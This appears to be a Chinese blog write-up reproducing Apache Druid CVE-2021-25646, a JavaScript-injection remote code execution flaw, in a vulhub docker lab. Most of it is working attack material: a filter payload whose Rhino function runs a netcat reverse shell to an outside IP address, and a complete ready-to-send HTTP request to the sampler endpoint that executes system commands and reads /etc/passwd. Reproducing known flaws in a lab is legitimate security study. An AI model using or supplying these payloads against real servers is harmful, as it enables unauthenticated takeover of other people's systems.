Apache Druid命令执行(CVE-2021-25646)

漏洞详情:

Apache Druid 是用Java编写的面向列的开源分布式数据存储系统,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。

Apache Druid含有能够执行嵌入在各种类型请求中由用户提供的JavaScript代码功能。此功能适用于高度信任环境,且默认情况下已禁用。但是,在Druid 0.20.0及更早版本中,经过身份验证用户可以构造传入json串来控制某些参数发送恶意的请求,强制Druid为该请求运行用户提供的JavaScript代码 。由于Apache Druid默认情况下缺乏授权认证,攻击者可以利用此漏洞在目标机器上执行任意代码,最终可获取服务器的控制权限。该漏洞源于攻击者可利用恶意JSON输入,通过function参数控制Rhino引擎执行的JavaScript代码,进而调用系统命令

影响范围:

Apache Druid <= 0.20.0

漏洞复现:

pull影响范围内的druid版本镜像

复制代码
docker pull vulhub/apache-druid:0.20.0

运行容器

复制代码
docker run --rm -i -p 8888:8888 vulhub/docker-druid:0.20.0

开浏览器访问8888端口 ,无需认证可访问Druid console页面:

上传代码块

Base directory==》quickstart/tutorial

File filter==》 wikiticker-2015-09-12-sampled.json.gz

在下面这步开始抓包

在这里插入⬇️⬇️⬇️ function代码块

复制代码
, "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 121.43.48.229 9999 -e /bin/sh')}", "": {"enabled": true}}

上传执行指令

反连shell成功🏅

也有现成的poc
复制代码
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}
验证结果
相关推荐
grrrr_17 小时前
【工具类】Nuclei YAML POC 编写以及批量检测
网络·安全·web安全
中新赛克9 小时前
双引擎驱动!中新赛克AI安全方案入选网安创新大赛优胜榜单
人工智能·安全
Suckerbin11 小时前
digitalworld.local: TORMENT
笔记·安全·web安全·网络安全
普通网友12 小时前
前端安全攻防:XSS, CSRF 等防范与检测
前端·安全·xss
索迪迈科技12 小时前
Protobuf 新版“调试表示为什么有链接?为什么会打码?我该怎么改代码?
java·log4j·apache
CYRUS_STUDIO13 小时前
如何防止 so 文件被轻松逆向?精准控制符号导出 + JNI 动态注册
android·c++·安全
CYRUS_STUDIO13 小时前
C&C++ 代码安全再升级:用 OLLVM 给 so 加上字符串加密保护
c++·安全·llvm
lingggggaaaa13 小时前
小迪安全v2023学习笔记(八十讲)—— 中间件安全&WPS分析&Weblogic&Jenkins&Jetty&CVE
笔记·学习·安全·web安全·网络安全·中间件·wps
北极光SD-WAN组网14 小时前
基于智能组网设备的港口网络安全闭环管控方案设计与实践
网络·安全·web安全
FreeBuf_17 小时前
Salesloft Drift网络攻击事件溯源:GitHub账户失陷与OAuth令牌窃取
安全·github